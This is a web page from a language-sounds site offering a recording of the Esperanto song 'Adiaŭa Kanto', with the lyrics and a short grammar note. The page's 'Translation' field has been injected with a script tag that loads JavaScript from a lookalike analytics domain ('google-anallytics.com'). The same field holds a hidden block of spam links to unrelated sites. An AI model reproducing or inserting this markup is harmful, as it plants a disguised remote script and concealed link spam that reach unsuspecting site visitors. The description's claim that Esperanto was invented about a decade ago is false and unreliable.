Language sounds
Home > Sounds > Adiaua Kanto (Esperanto Song)

‘Adiaua Kanto (Esperanto Song)’
Click to listen to Fasulye Esperanto Song 01.mp3 (201Kb)
Non-native speaker
Accent: German
AuthorFasulye
Date: 11/23/2008

Description of what is on the sound file:
"Adiaŭa Kanto" is the Esperanto version of the English folksong "Auld Lang Syne".

This to demonstrate you that the language Esperanto although it has been invented about a decennium ago is a vivid language with an own culture which can be used for all kinds of language usage. Esperanto music exists, the songs are originally composed in Esperanto or, like this one, the texts are translated from another language into Esperanto or a well-known tune is used with new lyrics written in Esperanto.

On this recording I am singing and playing the guitar.


Transcript of sound file:
Adiaŭa Kanto (= Auld Lang Syne)

1. Ĉu ni disiru sen esper'
Sen espero al reven'?
Ĉu ni disiri sen esper'
Al nova renkunven'?

Chorus:

Nur estas ĝis revido, frat'
Nur estas ĝis revid'
Ni certe renkunvenos, frat'
Nur estas ĝis revid'!

2. Fermiĝu per la manoj nun
Sub nia vera stel!
Fermiĝu per la manoj nun
De l'am' plej bela ĉen'.

3. Ĉar vivos nia ideal'
Ja en la estontec'
Ĉar vivos nia ideal'
En vera amikec'.

Ĝis revido = Bye bye!

For example amikec' is a poetic abbreviation of amikeco = friendship, the letter "o" is left out.


Translation:
'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>


Upload a sound file (you need to register or login to the forum first)


DHTML Menu By Milonic JavaScript


Copyright 2024 FX Micheloud - All rights reserved
No part of this website may be copied by any means without my written authorization.